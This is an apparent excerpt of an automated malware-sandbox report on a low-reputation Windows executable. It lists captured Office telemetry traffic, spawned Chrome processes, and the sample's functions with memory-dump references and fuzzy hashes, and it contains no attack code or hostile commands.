2024-11-18 01:34:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 5b6a4777-001e-0079-178e-3712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013440Z-1866b5c5fbb2cz68hC1DFW9ytc000000043000000000g9ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:39 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:40 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 3541af92-101e-0079-719b-385913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013440Z-1866b5c5fbbb286shC1DFWx97800000001eg00000000nb2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:40 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	20:34:06
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x510000
File size:	1'876'992 bytes
MD5 hash:	D4C2A1BA061F40BCEC02E375AC69F89C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:34:33
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:34:34
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,5243505765235826188,13817125492729943271,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:34:38
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:34:38
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1972,i,4578631636205666095,15362011055060956025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 05FFEBD0 Relevance: 1.3, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05FFF2F2

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 70b3f1e50a0ae6be57ef3d4165e89490d827524966ed617d81cdee1cf9c2f37d
Instruction ID: 3c61e00b87d865fb9ac198cd1f95f0b86c73415bd464b072e2f0898a970c8409
Opcode Fuzzy Hash: 70b3f1e50a0ae6be57ef3d4165e89490d827524966ed617d81cdee1cf9c2f37d
Instruction Fuzzy Hash: 37E0EC3551C60ACFD780AF74C4485EE7BE5EF08321F010A1DD9A2C2990D7355C50CB1A

Function 05FFE756 Relevance: 1.3, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 05FFE756

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 16b1dfaaa6b04d57fc5e38dfad822c805872c99b3ef990c026f53f8496586237
Instruction ID: 10ff186f66bedc6f58bca2ce03ac636f00ead6b43a5f83b5f8cc8837094bcaa8
Opcode Fuzzy Hash: 16b1dfaaa6b04d57fc5e38dfad822c805872c99b3ef990c026f53f8496586237
Instruction Fuzzy Hash: 7DD09E7410C604DFC7519F14C44087DBBBAEF08304F00042CE6D155620C2351860CB16

Non-executed Functions

Function 0602A8D4 Relevance: 4.1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%, xrefs: 0602A9A5
zl}g, xrefs: 0602AC8C
!95/, xrefs: 0602AD01

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: !95/$%$zl}g
API String ID: 0-2824420444
Opcode ID: dbc2b9f08341a7dc31d06ebeda3a09cd348f44188330ae420c5f2fb1e86846ec
Instruction ID: ab44c7498ab5c7502cd65de13aa023431e95f1e2e1a40c8e452fc970248c5e5c
Opcode Fuzzy Hash: dbc2b9f08341a7dc31d06ebeda3a09cd348f44188330ae420c5f2fb1e86846ec
Instruction Fuzzy Hash: 8BD131F3E116248BF3144E29DC44362B797EBD5321F2F823D9A98673C9E93E6C064284

Function 06037B53 Relevance: 3.0, Strings: 2, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hr8, xrefs: 0603814C
Jm?M, xrefs: 060381C6

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: Hr8$Jm?M
API String ID: 0-1714832269
Opcode ID: 8a9a74e0c1973be01b03f14ddb6bb280fde67f7382e363878fbc90ac56a93259
Instruction ID: 371b223ef7beeba2def704451c9d79bffcb14c6cec659130ec4e097df8388d3d
Opcode Fuzzy Hash: 8a9a74e0c1973be01b03f14ddb6bb280fde67f7382e363878fbc90ac56a93259
Instruction Fuzzy Hash: 1702D2B7E146208BF3144E29DC98366B692EBD5324F2F463DDE88AB7C5D97E5C058380

Function 060328F0 Relevance: 3.0, Strings: 2, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-:?w, xrefs: 06032EC3
r/n, xrefs: 06032DD2

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: -:?w$r/n
API String ID: 0-2343930686
Opcode ID: 2b1736640283287bfeee042871261a69553d376297bef228155e812bd62f40ce
Instruction ID: ce13768df405531d5df9e3a4cd958f8a1d0e0a61014df9b35545f74c6e861a84
Opcode Fuzzy Hash: 2b1736640283287bfeee042871261a69553d376297bef228155e812bd62f40ce
Instruction Fuzzy Hash: DD02D0F3E156204BF3444929DC88366B693EBD4311F2B863C8E98A77C9D97E5D0A4285

Function 06030E2C Relevance: 2.9, Strings: 2, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.x{}, xrefs: 06031267
OB, xrefs: 060312DD

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: .x{}$OB
API String ID: 0-3929705805
Opcode ID: c0ee99c8a0e16cf9c06dd4d422a7962de25f194de9966876e871496edcf5802f
Instruction ID: cb906e008fea2e3006035383c2fe1ded7518533107ad1f7c73404df6775d1505
Opcode Fuzzy Hash: c0ee99c8a0e16cf9c06dd4d422a7962de25f194de9966876e871496edcf5802f
Instruction Fuzzy Hash: 23D1CDB7F006204BF3544929DC943A6B6D3EBD9321F2B853D9E889B7C5E87E6C058385

Function 0601746B Relevance: 1.8, Strings: 1, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TY^, xrefs: 06017B0B

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: TY^
API String ID: 0-2390229693
Opcode ID: e48afe42e1cc2bef76a50b685fc161e7f86e543665e2cebaf12216ff667be941
Instruction ID: ac79ca244189498213da33ef90fb827d4feab35d9acb8fbe0487ce9f71e0b28a
Opcode Fuzzy Hash: e48afe42e1cc2bef76a50b685fc161e7f86e543665e2cebaf12216ff667be941
Instruction Fuzzy Hash: F502D0B3F152144BF3544E39CC44366B6D7EBD4320F2A863D9A8897BC8D97E9D064384

Function 06028BCA Relevance: 1.7, Strings: 1, Instructions: 498
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6GQ, xrefs: 0602916F

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: 6GQ
API String ID: 0-2834112756
Opcode ID: 037ca24b0584349bfe46f4629eedcde564dbac8dc3e243c59656935740bd9363
Instruction ID: c48d4552a3301fd5c99ad268fffb07dca011d4d4bc8d02cca4580383d855103e
Opcode Fuzzy Hash: 037ca24b0584349bfe46f4629eedcde564dbac8dc3e243c59656935740bd9363
Instruction Fuzzy Hash: 8AF113F3F146148BF3084E29DC95366B693EBD0320F2F463D9A999B3C4D97E9C068284

Function 0601C1E9 Relevance: 1.6, Strings: 1, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

B, xrefs: 0601C42E

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: b44f7176e1cd2855a5a2716fa8bc442931c726ef5debb435eb7e1d201c675956
Instruction ID: eae55317f6bb2c99773ed62b91e0c5dd703e9d6c7f00af0ceeba6abb43b827a3
Opcode Fuzzy Hash: b44f7176e1cd2855a5a2716fa8bc442931c726ef5debb435eb7e1d201c675956
Instruction Fuzzy Hash: EEB18AB3F1152547F3588929CC683A266839BD4321F3F82798E5CAB7C5ED7EAC065384

Function 0601FD09 Relevance: 1.6, Strings: 1, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z, xrefs: 0601FDC4

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: b2b74eca6347ad43534422a55e085d3355851b1bcbc974ad25c24e3742a8bee2
Instruction ID: 15bff410c8add717ea8aece08cdc1d12520a4ddfe1d9495cbbeabdcb54846093
Opcode Fuzzy Hash: b2b74eca6347ad43534422a55e085d3355851b1bcbc974ad25c24e3742a8bee2
Instruction Fuzzy Hash: 41B19EB7F516260BF3584879DC883A266839BD5314F2F82388F4CAB7C5E87E5D4A5284

Function 06046EAA Relevance: 1.6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

Strings

t, xrefs: 06047039

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499839266.0000000005FF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000627E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000628C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2499887564.000000000629C000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ff0000_file.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: b5e3e5b66593901c99f65a8bfdd97bff4b3e98ad0c0a4c65e06dfc09b61b53c0
Instruction ID: 3a1982ca24fb01677518729356a96e8b7945a71f2af183f1a97525318cff273f
Opcode Fuzzy Hash: b5e3e5b66593901c99f65a8bfdd97bff4b3e98ad0c0a4c65e06dfc09b61b53c0
Instruction Fuzzy Hash: 20B1ABB3F111254BF3584978CC583A26683DBD5311F2F82798E19AB7C9ECBEAC494384

Function 0604B668 Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

C'oQ, xrefs: 0604B92A

Memory Dump Source

Source File: 00000000.00000002.2499887564.0000000005FFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: true

Associated: 00000000.00000002.2499815834.0000000005FF0000.00000004.00000800.00020000.00000000.sdmpDownload File
